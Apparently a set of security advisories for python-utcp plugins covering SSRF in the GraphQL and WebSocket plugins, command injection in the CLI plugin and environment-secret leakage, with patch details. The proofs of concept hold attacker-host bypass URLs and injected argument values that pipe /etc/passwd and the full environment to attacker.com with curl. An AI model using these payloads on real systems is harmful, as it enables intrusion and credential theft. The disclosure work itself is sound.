python-utcp versions before 1.1.4 contain a server-side request forgery vulnerability in HttpCommunicationProtocol.calltool that validates the initial tool URL but follows HTTP redirects without re-validating the target. Attackers controlling a tool endpoint can return a 302 redirect to internal services, allowing the UTCP client to reach cloud metadata endpoints or internal HTTP services and return their response bodies to the caller.

Summary

The fix for CVE-2026-44661 (commit 5b16e43) added the ensuresecureurl() / issecureurl() helpers and wired them into the three HTTP-family plugins, but it did not reach the GraphQL or WebSocket plugins. The GraphQL plugin (utcp-gql) still uses the startswith prefix check that the fix explicitly replaced, so http://127.0.0.1.attacker.example and http://localhost.evil.com pass it. The WebSocket plugin (utcp-websocket) performs no URL validation at all, even though its own docstrings state it enforces "WSS or localhost only." Both plugins reach the same SSRF that CVE-2026-44661 was filed for, and because both attach the call template's configured auth headers to the outbound connection, the SSRF can also leak API keys and OAuth tokens to an attacker-controlled host.

Details

In the CVE-2026-44661 fix (commit 5b16e43 ("fix(http): block SSRF via attacker-controlled OpenAPI servers[0].url")), two things in it pointed at sibling issues. The commit message says the change is "replacing the duplicated prefix check", and the new utcphttp/security.py docstring names the exact bug:

URLs whose hostname starts with localhost / 127.0.0.1 but isn't actually loopback (e.g. http://localhost.evil.com, http://127.0.0.1.attacker.example). The earlier startswith check let these through.

The word "duplicated" says the vulnerable check existed in more than one place. The fix only updated the three HTTP-family plugins (http, streamablehttp, sse). The other communication-protocol plugins were also inspected.

GraphQL plugin (utcp-gql). plugins/communicationprotocols/gql/src/utcpgql/gqlcommunicationprotocol.py still has the pre-fix check at line 43:

python def enforcehttpsorlocalhost(self, url: str) -> None: if not ( url.startswith("https://") or url.startswith("http://localhost") or url.startswith("http://127.0.0.1") ): raise ValueError("Security error: URL must use HTTPS or start with ...")

It is called on manualcalltemplate.url in registermanual (line 102) and on toolcalltemplate.url in calltool (line 181). The URL then goes into AIOHTTPTransport(url=...) and a live GraphQL request.

"http://127.0.0.1.attacker.example/graphql".startswith("http://127.0.0.1") is True, so the check passes. If the attacker controls DNS for attacker.example, that hostname resolves to any address they choose, including 169.254.169.254, 127.0.0.1, or an internal 192.168.x.x host, and the GraphQL client sends a plain-HTTP request there. http://localhost.evil.com/graphql behaves the same way. This is the exact prefix bypass CVE-2026-44661 was filed for.

WebSocket plugin (utcp-websocket). plugins/communicationprotocols/websocket/src/utcpwebsocket/websocketcommunicationprotocol.py. The module and class docstrings state:

"Security enforcement (WSS or localhost only)" "Enforces security by requiring WSS or localhost connections" "Security validation of connection URLs"

There is no such validation in the code. getconnection(), the only connection path (used by registermanual, calltool, and calltoolstreaming), calls:

python ws = await session.wsconnect(calltemplate.url, headers=headers, ...) # line 197

with no scheme or host check. Any URL in a WebSocketCallTemplate connects, including ws://169.254.169.254/, ws://127.0.0.1:<internal-port>/, or any internal hostname.

Credential exposure. Both plugins build connection headers in prepareheaders(), which attaches the configured auth: ApiKeyAuth as a header, BasicAuth as an Authorization: Basic header, and OAuth2Auth as an Authorization: Bearer token. When the bypass is used to force a plain-HTTP or plain-WS connection to an attacker-resolved host, those credentials are sent to the attacker.

This is the threat model CVE-2026-44661 already established: a UTCP client ingests tool manuals, and a malicious manual is attacker-influenced. The GraphQL and WebSocket plugins consume the same kind of call template, with the same url field, at the same trust level as the HTTP plugins that were fixed.

Affected packages: utcp-gql and utcp-websocket, both at the current release 1.1.0. Neither plugin has been modified since 2025-11-30, so both are unpatched on main.

PoC

The discrepancy is directly observable. With utcp-gql and utcp-http installed:

python from utcpgql.gqlcommunicationprotocol import GraphQLCommunicationProtocol from utcphttp.security import issecureurl

bypass = "http://127.0.0.1.attacker.example/graphql"

The fixed HTTP plugin rejects the bypass URL: print("utcphttp issecureurl:", issecureurl(bypass)) # -> False

The GraphQL plugin accepts it (no exception is raised): GraphQLCommunicationProtocol().enforcehttpsorlocalhost(bypass) print("utcpgql enforcehttpsorlocalhost: ACCEPTED")

End to end: a UTCP client that registers a manual declaring a GraphQL tool with url: "http://127.0.0.1.<attacker-domain>/graphql", where that domain resolves to an internal target, issues the request to that internal service. For WebSocket, a manual declaring a tool with url: "ws://169.254.169.254/" connects with no check at all. To confirm the request lands, point the URL at a listener you control on a host the client can reach but the attacker cannot, or at the client's own loopback.

Impact

Server-Side Request Forgery (CWE-918), the same class and trust boundary as CVE-2026-44661. An attacker who can get a UTCP client to register a malicious manual can:

- Make the client send GraphQL requests (GraphQL plugin) or open WebSocket connections (WebSocket plugin) to internal services and cloud metadata endpoints it would not otherwise reach. - Force plain-HTTP / plain-WS connections to an attacker-resolved host, defeating the "HTTPS or loopback only" guarantee both plugins are meant to provide. - Receive the call template's configured credentials (API key, Basic auth, OAuth Bearer token), because those headers are attached to the forged request.

Suggested fix. The correct helper already exists in the codebase. Promote issecureurl / ensuresecureurl from utcphttp into a shared module (or replicate the urlparse-based hostname logic), then replace enforcehttpsorlocalhost in the GraphQL plugin with it, and add an equivalent check in the WebSocket plugin's getconnection before wsconnect, adapted for the ws and wss schemes. This is the same centralization commit 5b16e43 already applied to the three HTTP plugins; it just needs to cover the remaining two transports.

Patched

- utcp-gql 1.1.1 replaces the broken enforcehttpsorlocalhost prefix check with hostname-based ensuresecureurl, applied at both registermanual and calltool. The underlying aiohttp session is also patched after connect() to refuse 3xx responses, closing the post-validation redirect SSRF on the GraphQL endpoint. - utcp-websocket 1.1.1 introduces ensuresecurewsurl (the WebSocket-scheme companion of ensuresecureurl) and enforces it in both the WebSocketCallTemplate Pydantic field validator and getconnection. wsconnect is called with allowredirects=False. The OAuth2 token-fetch path uses the same redirect-safe helper introduced in utcp-http 1.1.4.

Both plugins duplicate security.py from utcp-http (rather than adding a cross-plugin runtime dependency); keep the copies in sync when changing validator behaviour.

Upgrade to utcp-gql >= 1.1.1 and/or utcp-websocket >= 1.1.1. No workaround in earlier versions.

Summary

The substituteutcpargs method in clicommunicationprotocol.py inserts user-controlled toolargs values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands.

Affected File

plugins/communicationprotocols/cli/src/utcpcli/clicommunicationprotocol.py

Vulnerable Code

python def replaceplaceholder(match): argname = match.group(1) if argname in toolargs: return str(toolargs[argname]) # No escaping applied

The substituted command is then embedded directly into a shell script:

python scriptlines.append(f'{varname}=$({substitutedcommand} 2>&1)')

And executed via:

python shellcmd = ['/bin/bash', '-c', script]

Proof of Concept

Given a tool defined as: json {"command": "python script.py --input UTCPARGfilenameUTCPEND"}

Calling with: python toolargs = {"filename": "data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)"}

Produces and executes: bash CMD0OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2>&1)

This results in full Remote Code Execution on the host system.

Patched

Fixed in utcp-cli 1.1.2. substituteutcpargs now shell-quotes every substituted value: shlex.quote on Unix, a PowerShell single-quoted literal on Windows. Each UTCPARG...UTCPEND placeholder therefore expands to exactly one shell token, blocking metacharacter injection (;, |, &, backticks, $(), newlines).

Behavior change: tools that relied on a single placeholder splitting into multiple shell tokens (e.g. UTCPARGflagsUTCPEND -> --verbose --debug) must now use one placeholder per intended argument.

Mitigation

Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of refusing all attacker-controlled toolargs.

Credit

Reported by @ZeroXJacks.

Summary

prepareenvironment() in clicommunicationprotocol.py passes a full copy of os.environ to every CLI subprocess. When combined with the Command Injection vulnerability (CWE-78) in substituteutcpargs() tracked as GHSA-33p6-5jxp-p3x4, an attacker can exfiltrate all process-level secrets in a single tool call.

Vulnerable Code

python clicommunicationprotocol.py def prepareenvironment(self, provider: CliCallTemplate) -> Dict[str, str]: env = os.environ.copy() # All secrets inherited if provider.envvars: env.update(provider.envvars) return env

Impact

Any environment variable present in the host process is accessible to injected commands. In typical AI agent deployments this includes:

- Cloud provider credentials (AWSSECRETACCESSKEY, AZURECLIENTSECRET) - Database connection strings (DATABASEURL) - LLM API keys (OPENAIAPIKEY, ANTHROPICAPIKEY) - Internal service tokens

Proof of Concept

python Tool defined as: {"command": "grep UTCPARGpatternUTCPEND logfile.txt"}

Attacker supplies: toolargs = {"pattern": "x; env | curl -s -d @- https://attacker.com"}

Executed bash script: CMD0OUTPUT=$(grep x; env | curl -s -d @- https://attacker.com 2>&1) -> Full env dump sent to attacker including all secrets

Patched

Fixed in utcp-cli 1.1.2. prepareenvironment no longer copies the full host environment. Inheritance is controlled by a new CliCallTemplate.inheritenvvars field:

- null (default): a small built-in OS-specific allowlist (PATH, HOME, LANG on Unix; PATH, PATHEXT, SYSTEMROOT, USERPROFILE, etc. on Windows) is inherited so shells and binaries continue to work. - []: strict mode -- nothing from the host environment reaches the subprocess; only envvars is propagated. - ["FOO", "BAR"]: exactly those host variables are inherited (replaces, not merges with, the default allowlist).

envvars is always layered on top and overrides any inherited value. Secrets like OPENAIAPIKEY no longer reach the subprocess unless the call template explicitly opts them in.

Mitigation

Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of stripping secrets from the host process before any CLI tool call.

Credit

Reported by @ZeroXJacks.